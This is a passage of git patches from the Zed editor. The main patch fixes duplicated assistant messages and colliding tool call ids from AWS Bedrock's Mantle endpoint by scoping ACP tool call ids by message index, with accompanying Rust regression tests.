-fn normalize_done_chunk(mut chunk: String) -> String {
-    if chunk.ends_with('\n') {
-        chunk.pop();
-    }
-    chunk
-}
-
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -555,7 +548,7 @@ mod tests {
     }
 
     #[test]
-    fn test_done_chunks_strip_trailing_newline() {
+    fn test_done_chunks_preserve_trailing_newlines() {
         let mut parser = StreamingParser::default();
 
         let events = parser.finalize_edits(&[Edit {
@@ -567,12 +560,12 @@ mod tests {
             &[
                 EditEvent::OldTextChunk {
                     edit_index: 0,
-                    chunk: "before".into(),
+                    chunk: "before\n".into(),
                     done: true,
                 },
                 EditEvent::NewTextChunk {
                     edit_index: 0,
-                    chunk: "after".into(),
+                    chunk: "after\n".into(),
                     done: true,
                 },
             ]
@@ -580,7 +573,7 @@ mod tests {
     }
 
     #[test]
-    fn test_partial_edit_chunks_hold_back_trailing_newline() {
+    fn test_partial_edit_preserves_trailing_newlines() {
         let mut parser = StreamingParser::default();
 
         let events = parser.push_edits(&[PartialEdit {
@@ -598,12 +591,12 @@ mod tests {
             &[
                 EditEvent::OldTextChunk {
                     edit_index: 0,
-                    chunk: "before".into(),
+                    chunk: "before\n".into(),
                     done: true,
                 },
                 EditEvent::NewTextChunk {
                     edit_index: 0,
-                    chunk: "after".into(),
+                    chunk: "after\n".into(),
                     done: true,
                 },
             ]

From 9eb615298be407163b597ef85c676ce3b5f6cb01 Mon Sep 17 00:00:00 2001
From: Anant Goel <anant@zed.dev>
Date: Thu, 23 Jul 2026 11:40:30 -0700
Subject: [PATCH 666/772] bedrock: Fix duplicated messages and colliding tool
 call ids from Bedrock Mantle (#60998)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Problem

AWS Bedrock's Mantle endpoint (used for GPT-5.x models via the
OpenAI-compatible Responses API) has two independent bugs that both
cause visible duplication/corruption in the agent panel:

1. **Duplicated message text.** Mantle streams a reply as a series of
new `message` output items, where each new item's text is a growing
prefix-superset of the previous one, and the full `output_text.delta`
sequence is replayed for each item. Forwarding these events through the
shared `OpenAiResponseEventMapper` unmodified caused the assistant's
reply (and its phase/reasoning metadata) to appear duplicated in the UI.
2. **Colliding tool call ids.** Mantle assigns raw `tool_use` ids as a
simple per-request counter (`call_1`, `call_2`, ...) that resets to
`call_1` on every request/response cycle to the model — including
separate cycles within a single agent turn as it performs tool calls
sequentially. Since `acp::ToolCallId` was built directly from that raw
id, and `AcpThread::upsert_tool_call` matches tool calls by id across a
thread's entire entry list, a later, unrelated tool call reusing a raw
id would silently overwrite an earlier, already-completed one instead of
appearing as a new entry — visible as "old tool calls getting replaced
by new ones."

Both were confirmed against real raw Mantle SSE traces and a real
persisted thread (`call_1` recurring across 10+ separate request cycles
within a single turn).

## Fix

**For message duplication:** `MantleResponseEventMapper` wraps
`OpenAiResponseEventMapper` and collapses adjacent, same-phase,
strict-prefix message extensions into a single logical message,
forwarding only the replayed suffix as ordinary incremental text.
- Only adjacent, same-phase, strict-prefix extensions are collapsed.
Equal, shrinking, divergent, or different-phase messages are still shown
as-is.
- Any non-message output item (reasoning, tool call) is a hard boundary:
it's forwarded unchanged and clears the merge state, so a message after
a tool call is never merged with the one before it.
- When a message is merged into the previous one, its `StartMessage` and
`ReasoningDetails` metadata events are suppressed, since they'd
otherwise duplicate what was already emitted for the first message.

**For tool call id collisions:** `scoped_tool_call_id(message_ix,
tool_use_id)` combines the raw provider id with the index of the
`AgentMessage` it belongs to in `Thread::messages`. That index is stable
for the lifetime of one request/response cycle (`flush_pending_message`
only runs on the next `StartMessage` event), so ids stay unique across
the whole thread without needing the raw provider id itself to be
globally unique. The index is threaded through explicitly from where
each tool call is created (`handle_tool_use_event`/`run_tool`) to where
it's later referenced (`process_tool_result`), rather than recomputed
later by re-reading `Thread::messages.len()`.

We deliberately did not rewrite the raw `tool_use` id itself at the
provider layer to make it globally unique, since that id round-trips
back to Mantle verbatim as `call_id` in `function_call_output` items on
the next request — rewriting it would require a fragile reverse-mapping
on every code path that replays tool results.

## Testing

- `cargo test -p language_models --lib bedrock` — 23/23 pass (11 tests
covering coalescing, independent messages, phase boundaries,
tool/reasoning boundaries, chained cumulative extensions, and metadata
deduplication).
- `cargo test -p agent --lib` — 699/699 pass (2 new regression tests for
tool call id scoping: one via live streaming across two request cycles
in one turn, one via persistence/`Thread::replay()` across two separate
turns).
- `script/clippy -p language_models -p agent` — clean.

Release Notes:

- Fixed duplicated assistant replies and colliding tool calls when using
GPT-5.x models on Amazon Bedrock's Mantle endpoint
---
 crates/agent/src/tests/mod.rs                 | 219 +++-
 crates/agent/src/thread.rs                    | 233 +++--
 .../language_models/src/provider/bedrock.rs   | 962 +++++++++++++++++-
 3 files changed, 1319 insertions(+), 95 deletions(-)

diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index fc5ef187e07976..95cbcd9ca2ea41 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -937,14 +937,14 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
         message.content,
         vec![
             language_model::MessageContent::ToolResult(LanguageModelToolResult {
-                tool_use_id: tool_call_auth_1.tool_call.tool_call_id.0.to_string().into(),
+                tool_use_id: "tool_id_1".into(),
                 tool_name: ToolRequiringPermission::NAME.into(),
                 is_error: false,
                 content: vec!["Allowed".into()],
                 output: Some("Allowed".into())
             }),
             language_model::MessageContent::ToolResult(LanguageModelToolResult {
-                tool_use_id: tool_call_auth_2.tool_call.tool_call_id.0.to_string().into(),
+                tool_use_id: "tool_id_2".into(),
                 tool_name: ToolRequiringPermission::NAME.into(),
                 is_error: true,
                 content: vec!["Permission to run tool denied by user".into()],
@@ -983,7 +983,7 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
         message.content,
         vec![language_model::MessageContent::ToolResult(
             LanguageModelToolResult {
-                tool_use_id: tool_call_auth_3.tool_call.tool_call_id.0.to_string().into(),
+                tool_use_id: "tool_id_3".into(),
                 tool_name: ToolRequiringPermission::NAME.into(),
                 is_error: false,
                 content: vec!["Allowed".into()],
@@ -1051,6 +1051,180 @@ async fn test_tool_hallucination(cx: &mut TestAppContext) {
     assert_eq!(update.fields.status, Some(acp::ToolCallStatus::Failed));
 }
 
+/// Regression test: some providers (confirmed on Bedrock Mantle/GPT-5.x)
+/// reset their raw `tool_use` id counter every request/response cycle, so
+/// the same id (e.g. `call_1`) can recur within one turn. Used verbatim as
+/// the ACP id, this let a later tool call overwrite an earlier, unrelated
+/// one in `AcpThread::upsert_tool_call`.
+#[gpui::test]
+async fn test_tool_call_id_scoped_per_completion_request(cx: &mut TestAppContext) {
+    let ThreadTest { model, thread, .. } = setup(cx, TestModel::Fake).await;
+    let fake_model = model.as_fake();
+
+    thread.update(cx, |thread, _cx| {
+        thread.add_tool(EchoTool);
+    });
+
+    let mut events = thread
+        .update(cx, |thread, cx| {
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool twice"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "call_1".into(),
+            name: EchoTool::NAME.into(),
+            raw_input: json!({"text": "first"}).to_string(),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "first"})),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
+    fake_model.end_last_completion_stream();
+    let first_tool_call = next_tool_call(&mut events).await;
+    cx.run_until_parked();
+
+    // Same turn, second cycle: the id counter has reset, so "call_1" recurs
+    // for a different tool call.
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "call_1".into(),
+            name: EchoTool::NAME.into(),
+            raw_input: json!({"text": "second"}).to_string(),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "second"})),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
+    fake_model.end_last_completion_stream();
+    let second_tool_call = next_tool_call(&mut events).await;
+    cx.run_until_parked();
+
+    fake_model
+        .send_last_completion_stream_event(LanguageModelCompletionEvent::Stop(StopReason::EndTurn));
+    fake_model.end_last_completion_stream();
+    events.collect::<Vec<_>>().await;
+
+    assert_ne!(
+        first_tool_call.tool_call_id, second_tool_call.tool_call_id,
+        "raw tool_use ids that recur across separate completion requests within the same turn \
+         must map to distinct ACP tool call ids, otherwise the second tool call would overwrite \
+         the first instead of appearing as a new entry"
+    );
+}
+
+/// Same bug as `test_tool_call_id_scoped_per_completion_request`, but
+/// exercised through persistence and `Thread::replay()` instead of live
+/// streaming.
+#[gpui::test]
+async fn test_replayed_tool_call_ids_scoped_across_messages(cx: &mut TestAppContext) {
+    let ThreadTest {
+        model,
+        thread,
+        project_context,
+        ..
+    } = setup(cx, TestModel::Fake).await;
+    let fake_model = model.as_fake();
+
+    thread.update(cx, |thread, _cx| {
+        thread.add_tool(EchoTool);
+    });
+
+    thread
+        .update(cx, |thread, cx| {
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "call_1".into(),
+            name: EchoTool::NAME.into(),
+            raw_input: json!({"text": "first"}).to_string(),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "first"})),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+    fake_model.send_last_completion_stream_text_chunk("Done with first");
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    // Different turn: the id counter has reset, so "call_1" recurs in a
+    // different `AgentMessage`.
+    thread
+        .update(cx, |thread, cx| {
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool again"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "call_1".into(),
+            name: EchoTool::NAME.into(),
+            raw_input: json!({"text": "second"}).to_string(),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "second"})),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+    fake_model.send_last_completion_stream_text_chunk("Done with second");
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    let db_thread = thread.read_with(cx, |thread, cx| thread.to_db(cx)).await;
+
+    cx.update(|cx| {
+        LanguageModelRegistry::test(cx);
+    });
+    let restored = cx.update(|cx| {
+        let thread = thread.read(cx);
+        let project = thread.project.clone();
+        let context_server_registry = thread.context_server_registry.clone();
+        let templates = thread.templates.clone();
+        cx.new(|cx| {
+            Thread::from_db(
+                acp::SessionId::new("restored"),
+                db_thread,
+                project,
+                project_context.clone(),
+                context_server_registry,
+                templates,
+                cx,
+            )
+        })
+    });
+    restored.update(cx, |thread, _cx| {
+        thread.add_tool(EchoTool);
+    });
+
+    let mut replay_events = restored.update(cx, |thread, cx| thread.replay(cx));
+    let mut tool_call_ids = Vec::new();
+    while let Some(event) = replay_events.next().await {
+        if let ThreadEvent::ToolCall(tool_call) = event.unwrap() {
+            tool_call_ids.push(tool_call.tool_call_id);
+        }
+    }
+
+    assert_eq!(
+        tool_call_ids.len(),
+        2,
+        "expected one replayed tool call per message"
+    );
+    assert_ne!(
+        tool_call_ids[0], tool_call_ids[1],
+        "raw tool_use ids that recur across separate AgentMessages must map to distinct ACP \
+         tool call ids when replayed from a persisted thread, otherwise the second tool call \
+         would overwrite the first instead of appearing as a new entry"
+    );
+}
+
 async fn expect_tool_call(events: &mut UnboundedReceiver<Result<ThreadEvent>>) -> acp::ToolCall {
     let event = events
         .next()
@@ -1065,6 +1239,21 @@ async fn expect_tool_call(events: &mut UnboundedReceiver<Result<ThreadEvent>>) -
     }
 }
 
+/// Like [`expect_tool_call`], but skips other events until a `ToolCall`
+/// appears -- useful across multiple request/response cycles in one turn.
+async fn next_tool_call(events: &mut UnboundedReceiver<Result<ThreadEvent>>) -> acp::ToolCall {
+    loop {
+        let event = events
+            .next()
+            .await
+            .expect("no tool call event received")
+            .unwrap();
+        if let ThreadEvent::ToolCall(tool_call) = event {
+            return tool_call;
+        }
+    }
+}
+
 async fn expect_tool_call_update_fields(
     events: &mut UnboundedReceiver<Result<ThreadEvent>>,
 ) -> acp::ToolCallUpdate {
@@ -2007,15 +2196,19 @@ async fn test_mcp_tool_result_displayed_when_server_disconnected(cx: &mut TestAp
 
     let mut found_tool_call = None;
     let mut found_tool_call_update_with_output = None;
+    // The ACP id is scoped by message index (see `scoped_tool_call_id`), so
+    // capture it instead of assuming it matches the raw provider id.
+    let mut tool_call_id = None;
 
     while let Some(event) = replay_events.next().await {
         let event = event.unwrap();
         match &event {
-            ThreadEvent::ToolCall(tc) if tc.tool_call_id.to_string() == "tool_1" => {
+            ThreadEvent::ToolCall(tc) => {
+                tool_call_id = Some(tc.tool_call_id.clone());
                 found_tool_call = Some(tc.clone());
             }
             ThreadEvent::ToolCallUpdate(acp_thread::ToolCallUpdate::UpdateFields(update))
-                if update.tool_call_id.to_string() == "tool_1" =>
+                if tool_call_id.as_ref() == Some(&update.tool_call_id) =>
             {
                 if update.fields.raw_output.is_some() {
                     found_tool_call_update_with_output = Some(update.clone());
@@ -4118,10 +4311,14 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
     fake_model.end_last_completion_stream();
     cx.run_until_parked();
 
+    // User message is index 0, so the tool call is scoped to index 1 (see
+    // `scoped_tool_call_id`).
+    let tool_call_id = scoped_tool_call_id(1, &"1".into());
+
     let tool_call = expect_tool_call(&mut events).await;
     assert_eq!(
         tool_call,
-        acp::ToolCall::new("1", "Echo")
+        acp::ToolCall::new(tool_call_id.clone(), "Echo")
             .raw_input(json!({}))
             .meta(acp::Meta::from_iter([("tool_name".into(), "echo".into())]))
     );
@@ -4129,7 +4326,7 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
     assert_eq!(
         update,
         acp::ToolCallUpdate::new(
-            "1",
+            tool_call_id.clone(),
             acp::ToolCallUpdateFields::new()
                 .title("Echo")
                 .kind(acp::ToolKind::Other)
@@ -4140,7 +4337,7 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
     assert_eq!(
         update,
         acp::ToolCallUpdate::new(
-            "1",
+            tool_call_id.clone(),
             acp::ToolCallUpdateFields::new().status(acp::ToolCallStatus::InProgress)
         )
     );
@@ -4148,7 +4345,7 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
     assert_eq!(
         update,
         acp::ToolCallUpdate::new(
-            "1",
+            tool_call_id,
             acp::ToolCallUpdateFields::new()
                 .status(acp::ToolCallStatus::Completed)
                 .raw_output("Hello!")
@@ -8107,9 +8304,11 @@ async fn test_queued_message_ends_turn_at_boundary(cx: &mut TestAppContext) {
             _ => None,
         })
         .collect();
+    // User message is index 0, so the tool call is scoped to index 1 (see
+    // `scoped_tool_call_id`).
     assert_eq!(
         tool_call_ids,
-        vec!["tool_1"],
+        vec![scoped_tool_call_id(1, &"tool_1".into()).to_string()],
         "Should have received a tool call event for our echo tool"
     );
 
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index b731339b4f6d8d..168be7677e4f45 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1503,6 +1503,7 @@ impl Thread {
                                 self.replay_tool_call(
                                     tool_use,
                                     assistant_message.tool_results.get(&tool_use.id),
+                                    message_ix,
                                     &stream,
                                     cx,
                                 );
@@ -1540,6 +1541,7 @@ impl Thread {
         &self,
         tool_use: &LanguageModelToolUse,
         tool_result: Option<&LanguageModelToolResult>,
+        owning_message_ix: usize,
         stream: &ThreadEventStream,
         cx: &mut Context<Self>,
     ) {
@@ -1550,6 +1552,7 @@ impl Thread {
             return;
         }
 
+        let tool_call_id = scoped_tool_call_id(owning_message_ix, &tool_use.id);
         let output = tool_result
             .as_ref()
             .and_then(|result| result.output.clone());
@@ -1591,7 +1594,7 @@ impl Thread {
             stream
                 .0
                 .unbounded_send(Ok(ThreadEvent::ToolCall(
-                    acp::ToolCall::new(tool_use.id.to_string(), tool_use.name.to_string())
+                    acp::ToolCall::new(tool_call_id.clone(), tool_use.name.to_string())
                         .status(status)
                         .raw_input(tool_use.input.to_display_json()),
                 )))
@@ -1602,7 +1605,7 @@ impl Thread {
             if let Some(content) = replay_content {
                 fields = fields.content(content);
             }
-            stream.update_tool_call_fields(&tool_use.id, fields, None);
+            stream.update_tool_call_fields(&tool_call_id, fields, None);
             return;
         };
 
@@ -1611,11 +1614,11 @@ impl Thread {
         };
         let title = tool.initial_title(input.clone(), cx);
         let kind = tool.kind();
-        stream.send_tool_call(&tool_use.id, &tool_use.name, title, kind, input.clone());
+        stream.send_tool_call(&tool_call_id, &tool_use.name, title, kind, input.clone());
 
         if let Some(content) = replay_content {
             stream.update_tool_call_fields(
-                &tool_use.id,
+                &tool_call_id,
                 acp::ToolCallUpdateFields::new().content(content),
                 None,
             );
@@ -1626,6 +1629,7 @@ impl Thread {
             let (_cancellation_tx, cancellation_rx) = watch::channel(false);
             let tool_event_stream = ToolCallEventStream::new(
                 tool_use.id.clone(),
+                tool_call_id.clone(),
                 stream.clone(),
                 Some(self.project.read(cx).fs().clone()),
                 cancellation_rx,
@@ -1636,7 +1640,7 @@ impl Thread {
         }
 
         stream.update_tool_call_fields(
-            &tool_use.id,
+            &tool_call_id,
             acp::ToolCallUpdateFields::new()
                 .status(status)
                 .raw_output(output),
@@ -2818,9 +2822,9 @@ impl Thread {
                 Ok(events) => (events.fuse(), None),
                 Err(err) => (stream::empty().boxed().fuse(), Some(err)),
             };
-            let mut tool_results: FuturesUnordered<Task<LanguageModelToolResult>> =
+            let mut tool_results: FuturesUnordered<Task<(usize, LanguageModelToolResult)>> =
                 FuturesUnordered::new();
-            let mut early_tool_results: Vec<LanguageModelToolResult> = Vec::new();
+            let mut early_tool_results: Vec<(usize, LanguageModelToolResult)> = Vec::new();
             let mut cancelled = false;
             let mut had_refusal = false;
             loop {
@@ -2828,6 +2832,7 @@ impl Thread {
                 let first_event = futures::select! {
                     event = events.next().fuse() => event,
                     tool_result = futures::StreamExt::select_next_some(&mut tool_results) => {
+                        let (owning_message_ix, tool_result) = tool_result;
                         let is_error = tool_result.is_error;
                         let is_still_streaming = this
                             .read_with(cx, |this, _cx| {
@@ -2838,7 +2843,7 @@ impl Thread {
                             })
                             .unwrap_or(false);
 
-                        early_tool_results.push(tool_result);
+                        early_tool_results.push((owning_message_ix, tool_result));
 
                         // Only break if the tool errored and we are still
                         // streaming the input of the tool. If the tool errored
@@ -2992,11 +2997,11 @@ impl Thread {
 
             let end_turn = tool_results.is_empty() && early_tool_results.is_empty();
 
-            for tool_result in early_tool_results {
-                Self::process_tool_result(this, event_stream, cx, tool_result)?;
+            for (owning_message_ix, tool_result) in early_tool_results {
+                Self::process_tool_result(this, event_stream, cx, owning_message_ix, tool_result)?;
             }
-            while let Some(tool_result) = tool_results.next().await {
-                Self::process_tool_result(this, event_stream, cx, tool_result)?;
+            while let Some((owning_message_ix, tool_result)) = tool_results.next().await {
+                Self::process_tool_result(this, event_stream, cx, owning_message_ix, tool_result)?;
             }
 
             this.update(cx, |this, cx| {
@@ -3225,12 +3230,13 @@ impl Thread {
         this: &WeakEntity<Thread>,
         event_stream: &ThreadEventStream,
         cx: &mut AsyncApp,
+        owning_message_ix: usize,
         tool_result: LanguageModelToolResult,
     ) -> Result<(), anyhow::Error> {
         log::debug!("Tool finished {:?}", tool_result);
 
         event_stream.update_tool_call_fields(
-            &tool_result.tool_use_id,
+            &scoped_tool_call_id(owning_message_ix, &tool_result.tool_use_id),
             acp::ToolCallUpdateFields::new()
                 .status(if tool_result.is_error {
                     acp::ToolCallStatus::Failed
@@ -3314,7 +3320,7 @@ impl Thread {
         event_stream: &ThreadEventStream,
         cancellation_rx: watch::Receiver<bool>,
         cx: &mut Context<Self>,
-    ) -> Result<Option<Task<LanguageModelToolResult>>> {
+    ) -> Result<Option<Task<(usize, LanguageModelToolResult)>>> {
         log::trace!("Handling streamed completion event: {:?}", event);
         use LanguageModelCompletionEvent::*;
 
@@ -3437,9 +3443,10 @@ impl Thread {
         event_stream: &ThreadEventStream,
         cancellation_rx: watch::Receiver<bool>,
         cx: &mut Context<Self>,
-    ) -> Option<Task<LanguageModelToolResult>> {
+    ) -> Option<Task<(usize, LanguageModelToolResult)>> {
         cx.notify();
 
+        let owning_message_ix = self.messages.len();
         let tool = self.tool(tool_use.name.as_ref());
         let mut title = SharedString::from(&tool_use.name);
         let mut kind = acp::ToolKind::Other;
@@ -3450,17 +3457,20 @@ impl Thread {
             kind = tool.kind();
         }
 
-        self.send_or_update_tool_use(&tool_use, title, kind, event_stream);
+        self.send_or_update_tool_use(&tool_use, title, kind, owning_message_ix, event_stream);
 
         let Some(tool) = tool else {
             let content = format!("No tool named {} exists", tool_use.name);
-            return Some(Task::ready(LanguageModelToolResult {
-                content: vec![LanguageModelToolResultContent::Text(Arc::from(content))],
-                tool_use_id: tool_use.id,
-                tool_name: tool_use.name,
-                is_error: true,
-                output: None,
-            }));
+            return Some(Task::ready((
+                owning_message_ix,
+                LanguageModelToolResult {
+                    content: vec![LanguageModelToolResultContent::Text(Arc::from(content))],
+                    tool_use_id: tool_use.id,
+                    tool_name: tool_use.name,
+                    is_error: true,
+                    output: None,
+                },
+            )));
         };
 
         // Agent tools are JSON-schema tools. Custom text-tool deltas are rejected
@@ -3468,15 +3478,18 @@ impl Thread {
         let input = match tool_use.input.clone().into_json() {
             Ok(input) => input,
             Err(error) => {
-                return Some(Task::ready(LanguageModelToolResult {
-                    content: vec![LanguageModelToolResultContent::Text(Arc::from(
-                        error.to_string(),
-                    ))],
-                    tool_use_id: tool_use.id,
-                    tool_name: tool_use.name,
-                    is_error: true,
-                    output: None,
-                }));
+                return Some(Task::ready((
+                    owning_message_ix,
+                    LanguageModelToolResult {
+                        content: vec![LanguageModelToolResultContent::Text(Arc::from(
+                            error.to_string(),
+                        ))],
+                        tool_use_id: tool_use.id,
+                        tool_name: tool_use.name,
+                        is_error: true,
+                        output: None,
+                    },
+                )));
             }
         };
 
@@ -3501,6 +3514,7 @@ impl Thread {
                     tool_input,
                     tool_use.id,
                     tool_use.name,
+                    owning_message_ix,
                     event_stream,
                     cancellation_rx,
                     cx,
@@ -3527,6 +3541,7 @@ impl Thread {
             tool_input,
             tool_use.id,
             tool_use.name,
+            owning_message_ix,
             event_stream,
             cancellation_rx,
             cx,
@@ -3539,10 +3554,11 @@ impl Thread {
         tool_input: ToolInput<serde_json::Value>,
         tool_use_id: LanguageModelToolUseId,
         tool_name: Arc<str>,
+        owning_message_ix: usize,
         event_stream: &ThreadEventStream,
         cancellation_rx: watch::Receiver<bool>,
         cx: &mut Context<Self>,
-    ) -> Task<LanguageModelToolResult> {
+    ) -> Task<(usize, LanguageModelToolResult)> {
         // A workspace can become restricted after a thread has already started.
         // Tools that aren't allowed in restricted workspaces must never run in
         // that state, even though they were exposed to the model earlier.
@@ -3552,20 +3568,25 @@ impl Thread {
                 cx,
             )
         {
-            return Task::ready(LanguageModelToolResult {
-                tool_use_id,
-                tool_name,
-                is_error: true,
-                content: vec![LanguageModelToolResultContent::Text(Arc::from(
-                    "workspace has become restricted",
-                ))],
-                output: None,
-            });
+            return Task::ready((
+                owning_message_ix,
+                LanguageModelToolResult {
+                    tool_use_id,
+                    tool_name,
+                    is_error: true,
+                    content: vec![LanguageModelToolResultContent::Text(Arc::from(
+                        "workspace has become restricted",
+                    ))],
+                    output: None,
+                },
+            ));
         }
 
         let fs = self.project.read(cx).fs().clone();
+        let tool_call_id = scoped_tool_call_id(owning_message_ix, &tool_use_id);
         let tool_event_stream = ToolCallEventStream::new(
             tool_use_id.clone(),
+            tool_call_id,
             event_stream.clone(),
             Some(fs),
             cancellation_rx,
@@ -3621,13 +3642,16 @@ impl Thread {
                 Err(output) => (true, output),
             };
 
-            LanguageModelToolResult {
-                tool_use_id,
-                tool_name,
-                is_error,
-                content: output.llm_output,
-                output: Some(output.raw_output),
-            }
+            (
+                owning_message_ix,
+                LanguageModelToolResult {
+                    tool_use_id,
+                    tool_name,
+                    is_error,
+                    content: output.llm_output,
+                    output: Some(output.raw_output),
+                },
+            )
         })
     }
 
@@ -3640,7 +3664,8 @@ impl Thread {
         event_stream: &ThreadEventStream,
         cancellation_rx: watch::Receiver<bool>,
         cx: &mut Context<Self>,
-    ) -> Option<Task<LanguageModelToolResult>> {
+    ) -> Option<Task<(usize, LanguageModelToolResult)>> {
+        let owning_message_ix = self.messages.len();
         let tool_use = LanguageModelToolUse {
             id: tool_use_id,
             name: tool_name,
@@ -3653,6 +3678,7 @@ impl Thread {
             &tool_use,
             SharedString::from(&tool_use.name),
             acp::ToolKind::Other,
+            owning_message_ix,
             event_stream,
         );
 
@@ -3660,13 +3686,16 @@ impl Thread {
 
         let Some(tool) = tool else {
             let content = format!("No tool named {} exists", tool_use.name);
-            return Some(Task::ready(LanguageModelToolResult {
-                content: vec![LanguageModelToolResultContent::Text(Arc::from(content))],
-                tool_use_id: tool_use.id,
-                tool_name: tool_use.name,
-                is_error: true,
-                output: None,
-            }));
+            return Some(Task::ready((
+                owning_message_ix,
+                LanguageModelToolResult {
+                    content: vec![LanguageModelToolResultContent::Text(Arc::from(content))],
+                    tool_use_id: tool_use.id,
+                    tool_name: tool_use.name,
+                    is_error: true,
+                    output: None,
+                },
+            )));
         };
 
         let error_message = format!("Error parsing input JSON: {json_parse_error}");
@@ -3689,6 +3718,7 @@ impl Thread {
             tool_input,
             tool_use.id,
             tool_use.name,
+            owning_message_ix,
             event_stream,
             cancellation_rx,
             cx,
@@ -3700,8 +3730,11 @@ impl Thread {
         tool_use: &LanguageModelToolUse,
         title: SharedString,
         kind: acp::ToolKind,
+        owning_message_ix: usize,
         event_stream: &ThreadEventStream,
     ) {
+        let tool_call_id = scoped_tool_call_id(owning_message_ix, &tool_use.id);
+
         // Ensure the last message ends in the current tool use
         let last_message = self.pending_message();
 
@@ -3717,7 +3750,7 @@ impl Thread {
 
         if !has_tool_use {
             event_stream.send_tool_call(
-                &tool_use.id,
+                &tool_call_id,
                 &tool_use.name,
                 title,
                 kind,
@@ -3728,7 +3761,7 @@ impl Thread {
                 .push(AgentMessageContent::ToolUse(tool_use.clone()));
         } else {
             event_stream.update_tool_call_fields(
-                &tool_use.id,
+                &tool_call_id,
                 acp::ToolCallUpdateFields::new()
                     .title(title.as_str())
                     .kind(kind)
@@ -5229,6 +5262,23 @@ where
     }
 }
 
+/// Builds the ACP-facing tool call id for a tool use in the message at
+/// `message_ix`.
+///
+/// Provider-issued `tool_use` ids aren't guaranteed unique across separate
+/// request/response cycles in the same turn -- some providers reset a
+/// per-request counter (e.g. `call_1`, `call_2`, ...), so the same raw id
+/// can recur. Scoping by message index keeps the id stable for one tool
+/// call's lifetime while preventing it from colliding with an unrelated one.
+pub(crate) fn scoped_tool_call_id(
+    message_ix: usize,
+    tool_use_id: &LanguageModelToolUseId,
+) -> acp::ToolCallId {
+    // `message_ix` is non-zero-padded decimal, so the `:` delimiter is always
+    // unambiguous -- this would break if the index were zero-padded.
+    acp::ToolCallId::new(format!("{message_ix}:{tool_use_id}"))
+}
+
 #[derive(Clone)]
 struct ThreadEventStream(mpsc::UnboundedSender<Result<ThreadEvent>>);
 
@@ -5253,7 +5303,7 @@ impl ThreadEventStream {
 
     fn send_tool_call(
         &self,
-        id: &LanguageModelToolUseId,
+        id: &acp::ToolCallId,
         tool_name: &str,
         title: SharedString,
         kind: acp::ToolKind,
@@ -5271,13 +5321,13 @@ impl ThreadEventStream {
     }
 
     fn initial_tool_call(
-        id: &LanguageModelToolUseId,
+        id: &acp::ToolCallId,
         tool_name: &str,
         title: String,
         kind: acp::ToolKind,
         input: serde_json::Value,
     ) -> acp::ToolCall {
-        acp::ToolCall::new(id.to_string(), title)
+        acp::ToolCall::new(id.clone(), title)
             .kind(kind)
             .raw_input(input)
             .meta(acp_thread::meta_with_tool_name(tool_name))
@@ -5285,13 +5335,13 @@ impl ThreadEventStream {
 
     fn update_tool_call_fields(
         &self,
-        tool_use_id: &LanguageModelToolUseId,
+        tool_call_id: &acp::ToolCallId,
         fields: acp::ToolCallUpdateFields,
         meta: Option<acp::Meta>,
     ) {
         self.0
             .unbounded_send(Ok(ThreadEvent::ToolCallUpdate(
-                acp::ToolCallUpdate::new(tool_use_id.to_string(), fields)
+                acp::ToolCallUpdate::new(tool_call_id.clone(), fields)
                     .meta(meta)
                     .into(),
             )))
@@ -5300,12 +5350,12 @@ impl ThreadEventStream {
 
     fn resolve_tool_call_authorization(
         &self,
-        tool_use_id: &LanguageModelToolUseId,
+        tool_call_id: &acp::ToolCallId,
         outcome: acp_thread::SelectedPermissionOutcome,
     ) {
         self.0
             .unbounded_send(Ok(ThreadEvent::ToolCallAuthorizationResolved {
-                tool_call_id: acp::ToolCallId::new(tool_use_id.to_string()),
+                tool_call_id: tool_call_id.clone(),
                 outcome,
             }))
             .ok();
@@ -5396,6 +5446,9 @@ pub(crate) enum SandboxFallbackDecision {
 #[derive(Clone)]
 pub struct ToolCallEventStream {
     tool_use_id: LanguageModelToolUseId,
+    /// The ACP-facing id for this tool call (see [`scoped_tool_call_id`]).
+    /// Distinct from `tool_use_id`, which is the raw, provider-issued id.
+    tool_call_id: acp::ToolCallId,
     stream: ThreadEventStream,
     fs: Option<Arc<dyn Fs>>,
     cancellation_rx: watch::Receiver<bool>,
@@ -5427,6 +5480,7 @@ impl ToolCallEventStream {
 
